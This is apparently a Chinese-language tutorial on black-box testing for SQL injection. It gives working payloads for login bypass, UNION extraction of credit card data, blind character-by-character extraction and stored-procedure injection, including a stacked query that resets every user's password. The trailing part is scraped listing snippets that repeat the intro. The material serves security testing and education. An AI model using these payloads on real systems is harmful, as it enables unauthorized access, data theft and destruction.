從測試來進行測試sql注入。
首先,看看sql注入攻擊能分為以下三種型別:
inband:資料經由sql**注入的通道取出,這是最直接的一種攻擊,通過sql注入獲取的資訊直接反映到應用程式的web頁面上;
out-of-band:資料通過不同於sql**注入的方法獲得(譬如通過郵件等)
推理:這種攻擊時說並沒有真正的資料傳輸,但攻擊者可以通過傳送特定的請求,重組返回的結果從而得到一些資訊。
不論是哪種sql注入,攻擊者都需要構造乙個語法正確的sql查詢,如果應用程式對乙個不正確的查詢返回了乙個錯誤訊息,那麼就很容易重新構造初始的查詢語句的邏輯,進而也就能更容易的進行注入;如果應用程式隱藏了錯誤資訊,那麼攻擊者就必須對查詢邏輯進行反向工程,即我們所謂的「盲sql注入」
黑盒測試及其示例:
這個測試的第一步是理解我們的應用程式在什麼時候需要訪問資料庫,典型的需要方法資料庫的時機是:
認證表單: 輸入使用者名稱和密碼以檢查是否有許可權
搜尋引擎: 提交字串以從資料庫中獲取相應的記錄
電子商務站點: 獲取某類商品的**等資訊
作為測試人員,我們需要列對所有輸入域的值可能用於查詢的字段做乙個表單,包括那些post請求的隱含字段,然後擷取查詢語句並產生錯誤資訊。第乙個測試往往是用乙個單引號「'」或者分號「;」,前者在sql中是字串終結符,如果應用程式沒有過濾,則會產生一條錯誤資訊;後者在sql中是一條sql語句的終結符,同樣如果沒有過濾,也會產生錯誤資訊。
同樣可用於測試的還有「--」以及sql中的一些諸如「and」的關鍵字,通常很常見的一種測試是在要求輸入為數字的輸入框中輸入字串。
通過上面的測試輸入返回的錯誤資訊能夠讓我們知道很多資料庫的資訊。這時候就需要「盲目sql注入」了。注意,我們需要多所有可能存在的sql注入漏洞的輸入域進行測試,並且在,每個測試用例時只變化乙個域的值,從而才能找到真正存在漏洞的輸入域。
下面看看一些常用例測試的sql注入語句。
引用select * from users where username='$username' and password='$password'
我們針對上面的sql語句分析,發現如果用下面的測試資料就能夠進行sql注入了
引用$username = 1'or'1'='1
$password=1'or'1'='1
看看整個sql查詢語句變成:
引用select * from users where username='1' or '1'='1' and password='1'or '1'='1'
假設引數值是通過get方法傳遞到伺服器的,且網域名稱為www.example.com 那麼我們的訪問請求就是:
引用'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
對上面的sql語句作簡單分析後我們就知道由於該語句永遠為真,所以肯定會返回一些資料,在這種情況下實際上並未驗證使用者名稱和密碼,並且在某些系統中,使用者表的第一行記錄是管理員,那這樣造成的後果則更為嚴重。
另外乙個查詢的例子如下:
引用select * from users where((username='$username')and(password=md5('$password')))
在這個例子中,存在兩個問題,乙個是括號的用法,還有乙個是md5雜湊函式的用法。對於第乙個問題,我們很容找出缺少的右括號解決,對於第二個問題,我們可以想辦法使第二個條件失效。我們在查詢語句的最後加上乙個注釋符以表示後面的都是注釋,常見的注釋起始符是/*(在oracle中是--),也就是說,我們用如下的使用者名稱和密碼:
引用$username =1' or '1'='1'))/*
$password = foo
那麼整條sql語句就變為:
引用select * from users where(( username='1'or '1'='1'))/*')and (password=md5('$password')))
那麼看看url請求就變為:
引用'%20or%20'1'%20=%20'1'))/*&password=foo
union查詢sql注入測試
還有一種測試是利用union的,利用union可以連線查詢,從而從其他表中得到資訊,假設如下查詢:
引用select name, phone, address from users where id=$id
然後我們設定id的值為:
引用$id =1 union all select creditcardnumber,1,1 from creditcartable
那麼整體的查詢就變為:
引用select name, phone,address from users where id=1 union all select creaditcardnumber,1,1 from creditcartable
顯示這就能得到所有信用卡使用者的資訊。
盲目sql注入測試
在上面我們提到過盲sql注入,即bind sql injection,它意味著對於某個操作我們得不到任何資訊,通常這是由於程式設計師已經編寫了特定的出錯返回頁面,從而隱藏了資料庫結構的資訊。
但利用推理方法,有時候我們能夠恢復特定欄位的值。這種方法通常採用一組對伺服器的布林查詢,依據返回的結果來推斷結果的含義。仍然延續上面的www.example.com有乙個引數名為id, 那麼我們輸入以下url請求:
引用'
顯然由於語法錯誤,我們會得到乙個預先定義好的出錯頁面,假設伺服器上的查詢語句為
引用select field1,field2,field3 from users where id='$id'
假設我們想要的帶哦使用者名字段的值,那麼通過一些函式,我們就可以逐字元的讀取使用者名稱的值。在這裡我們使用以下的函式:
引用substring(text,start,length), ascii(char), length(text)
我們定義id為:
引用$id=1' and ascii(substring(username,1,1))=97 and '1'='1
那麼最終的sql查詢語句為:
引用select field1,field2,field3 from users where id='1' and ascii(substring(username,1,1))=97 and '1'='1'
那麼,如果在資料庫中有使用者名稱的第一字元的ascii碼為97的話,那麼我們就能得到乙個真值u,那麼就繼續尋找該使用者名稱的下乙個字元;如果沒有的話,那麼我們就增猜測第乙個字元的ascii碼為98的使用者名稱,這樣反覆下去就能判斷出合法的使用者名稱。
不過這樣盲目sql注入會要求使用大量的sql嘗試,有一些自動化的工具能夠幫我們實現,sqldumper就是這樣的一種工具,對mysql資料庫進行get訪問請求。
儲存過程注入
如果在使用儲存過程不當的時候,會造成一定的sql注入漏洞。
以下面的sql儲存過程為例:
引用create procedure user_login
@username varchar(20),
@password varchar(20) as declare @sqlstring varchar(250)
set @sqlstring =''
select 1 from users
where username='+@username+'and password='+@password
exec(@sqlstring)
go 測試的輸入如下:
引用anyusername or 1=1'
anypassword
如果程式沒有對輸入進行驗證,那麼上面的語句就返回資料庫中的一條記錄
我們再看下面的一條:
引用create procedure get_report @columnamelist varchar(7900) as
declare @sqlstring varchar(8000)
set @sqlstring = 『
select 『 + @columnamelist + 『 from reporttable『
exec(@sqlstring)
go 如果測試輸入是:
引用1 from users;update users set password='password';select *
後面顯而易見,使用者的所有密碼都被更且得到了報表資訊。
如何防範SQL注入 SQL注入測試
從測試來進行測試sql注入。首先,看看sql注入攻擊能分為以下三種型別 inband 資料經由sql 注入的通道取出,這是最直接的一種攻擊,通過sql注入獲取的資訊直接反映到應用程式的web頁面上 out of band 資料通過不同於sql 注入的方法獲得 譬如通過郵件等 推理 這種攻擊時說並沒有...
如何防範SQL注入 SQL注入測試
從測試來進行測試sql注入。首先,看看sql注入攻擊能分為以下三種型別 inband 資料經由sql 注入的通道取出,這是最直接的一種攻擊,通過sql注入獲取的資訊直接反映到應用程式的web頁面上 out of band 資料通過不同於sql 注入的方法獲得 譬如通過郵件等 推理 這種攻擊時說並沒有...
如何防範SQL注入
sql注入攻擊的總體思路 發現sql注入位置 判斷伺服器型別和後台資料庫型別 確定可執 況 對於有些攻擊者而言,一般會採取sql注入法。下面我也談一下自己關於sql注入法的感悟。注入法 從理論上說,認證網頁中會有型如 select from admin where username and pass...